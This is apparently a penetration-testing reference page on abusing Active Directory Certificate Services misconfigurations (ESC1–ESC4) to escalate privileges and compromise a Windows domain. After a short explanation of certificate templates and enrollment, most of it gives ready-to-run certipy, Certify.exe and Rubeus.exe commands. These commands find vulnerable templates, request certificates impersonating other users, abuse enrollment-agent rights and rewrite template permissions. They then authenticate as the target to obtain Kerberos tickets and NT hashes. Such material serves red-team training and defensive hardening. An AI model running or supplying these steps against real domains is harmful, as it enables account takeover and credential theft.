AD CS
Abuse Active Directory Certificate Service to achieve lateral movement and total domain compromise.
Active Directory Certificate Services (AD CS) is a Windows Server role for issuing and managing public key infrastructure (PKI) certificates used in secure communication and authentication protocols. Certificate configurations are pre-defined in certificate templates, which includes fields such as:
- SubjectAlternativeName (SAN): Defines one or more alternative names that the subjects may go by.
- Extended Key Usages (EKUs): Describe how the certificate will be used. Common ones include:
- Client Authentication: for authenticating
- Smart Card Logon: used for smart card authentication
- Server Authentication: used for identifying server (e.g., HTTPS certificates)
- Certificate Request Agent: enables a principal to request a certificate on behalf of another
The enrollment process for a client in AD CS goes as follows:
- Client generates public-private key pair.
- Client sends a certificate request along with its public key, the certificate template it wants, and various other settings.
- CA checks if the certificate template exist, if the client is allowed to enroll in it, and if the settings in the request is allowed by the template.
- CA generates a certificate and signs it with its private key.
- Client stores the certificate and use it for the purpose outlined in the EKUs
Misconfiguration of CAs and certificate templates can lead to privilege escalation and even total domain compromise.
Enumerating AD CS
Enumeration of AD CS can be done from Linux systems using certipy by ly4k.
# With username/password:
certipy find -u '<username>' -p '<password>' -dc-ip '<dc_ip>' [-ldap-scheme ldap]
# With Kerberos Ticket (ccache path exported in KRB5CCNAME environment variable)
certipy find -k -no-pass -target '<dc_host>' -ns '<dc_ip>'
Output in JSON and plain text will be generated, containing information regarding the configuration of the CAs and certificate templates available. Conveniently, certipy also highlights any potential vulnerabilities identified in those configurations, including ESC1-ESC16 privilege escalation vulnerabilities.
Alternatively, this can also be done on Windows systems using certify.
# Find vulnerable/abusable certificate templates using default low-privileged group
Certify.exe find /vulnerable
# Find vulnerable/abusable certificate templates using all groups the current user context is a part of:
Certify.exe find /vulnerable /currentuser
Reference and Further Reading
Certified Pre-Owned: Abusing Active Directory Certificate Services by Will Schroeder and Lee Christensen from SpecterOps.
1 - ESC1 and ESC2
Request certificate as another user with enrollee-supplied subject
ESC1 and ESC2 are similar privilege escalation techniques targeting certificate templates with ENROLLEE_SUPPLIES_SUBJECT flag set and can be used for client authentication. The ENROLLEE_SUPPLIES_SUBJECT flag means the subject of the certificate issued will be whatever the client supplies in the certificate request. Privilege escalation is then achieved by specifying a high-priv user in the subject name, then use Pass-the-Certificate to authenticate as the target user, obtaining their Kerberos TGT.
The difference between ESC1 and ESC2 come down to what specific configuration in the certificate template allowed that to happen:
- ESC1:
- Client Authentication is set as one of the EKUs.
ENROLLEE_SUPPLIES_SUBJECT flag is set.
- ESC2:
- Any Purpose is set as one of the EKUs.
ENROLLEE_SUPPLIES_SUBJECT flag is set.
Linux Perspective
We use certipy to request a certificate the vulnerable template, specifying the user we want to get access in -upn.
certipy req \
-k -no-pass \
-target '<dc_host>' -ns '<dc_ip>'
-ca '<ca_name>' -template '<vuln_template>' \
-upn '<target_user>'@'<domain>' -sid '<target_user_sid>' [-key-size 4096]
After obtaining the certificate, we use certipy, once again, to Pass-the-Certificate to authenticate as the user we just requested a certificate for to obtain their TGT and NT hash.
certipy auth -pfx '<cert_path>' -dc-ip '<dc_ip>'
Windows Perspective
From Windows systems, Certify can be used with our target username specified under /altname:
Certify.exe request /ca:'<ca_name>' /template:"<vuln_template>" /altname:"<target_user>"
Then, we can use Rubeus to Pass-the-Certificate and obtain a TGT.
Rubeus.exe asktgt /user:"<target_user>" /certificate:"<base64_cert>" /password:"<cert_pass>" /domain:"<domain>" /dc:"<dc_host>" /show
2 - ESC3
Request certificate on behalf of another user with a enrollment agent certificate
One of the Extended Key Usages (EKUs) for certificates issued by AD CS is Certificate Enrollment Agent, which allows the holder of the certificate to request certificates for another user as if they are that user. To abuse this for privilege escalation, there needs to be at least two templates matching conditions below:
Condition 1: A template allows a low-privileged user to enroll in an enrollment agent.
- Enrollment rights granted to a user or group for which we have access to.
- Manager approval is disabled.
- No authorized signatures are required.
- Certificate Enrollment Agent or Any Purpose is set as the EKU.
Condition 2: A template permit a low privileged user to use the enrollment agent certificate to request a certificate on behalf of another user that can be used for authentication.
- Enrollment rights granted to a user or group for which we have access to (including the user we can request a certificate for via condition 1).
- Manager approval is disabled.
- No authorized signatures are required.
- Client Authentication or Any Purpose is set as the EKU.
The chain of attack goes as the following:
- Request a condition 1 certificate as the current user.
- Use the condition 1 certificate to request a condition 2 certificate on behalf of the target user, which allows for client authentication.
- Authenticate as the target user using condition 2 certificate.
Linux Perspective
First, we request a certificate with Certificate Enrollment Agent listed as one of its EKUs, as our current controlled user.
certipy req -k -no-pass -ca '<ca_name>' -template "<agent_template>" -target "<dc_host>" \
-out controlled [-key-size 4096]
Next, request a certificate on behalf of a target user (specified with -on-behalf-of), while passing the certificate we received earlier back to the CA with -pfx to prove that we have rights as an enrollment agent. If we are targetting a user account, we can request a template from the built-in User template, which has Client Authentication listed under one of its EKUs.
Note
The domain part of the user specified under the -on-behalf-of argument must not be FQDN (CONTOSO rather than CONTOSO.COM), or else the AD CS may reject your request.
certipy req -k -no-pass -ca '<ca_name>' -template user -target '<dc_host>' \
-on-behalf-of '<domain>\<target_user>' -pfx controlled.pfx -sid '<target_sid>' [-key-size 4096]
If we receive the certificate issued for the target user, we may Pass-the-Cert to obtain the user’s TGT and NT hash.
certipy auth -pfx administrator.pfx -dc-ip '<dc_ip>'
3 - ESC4
Leverage vulnerable certificate access control to escalate privileges.
If a principal controlled by the attacker has the rights to modify a certificate template (FullControl, WriteOwner, WriteDacl, or WriteProperty), the attacker can modify the certificate template to one that is vulnerable to ESC1 or ESC2, that is one with Client Authentication or Any Purpose listed under its EKU and with the ENROLLEE_SUPPLIES_SUBJECT flag set.
Linux Perspective
Certipy includes the functionality to automatically configure a certificate template to one that is vulnerable to ESC1 if the user has sufficient rights to do so.
certipy template -k -no-pass -template '<vuln_template>' -target '<dc_host>' -write-default-configuration
Next, use the same steps for exploiting ESC and ESC2: first request a certificate with SAN set to username of a target user, then pass-the-certificate to authenticate, receiving the target user’s TGT and NT hash.
certipy req -k -no-pass -ca '<ca_name>' -upn '<target_user>@<domain>' -template '<vuln_template>' -target '<dc_host>'
certipy auth -pfx administrator.pfx -dc-ip '<dc_ip>'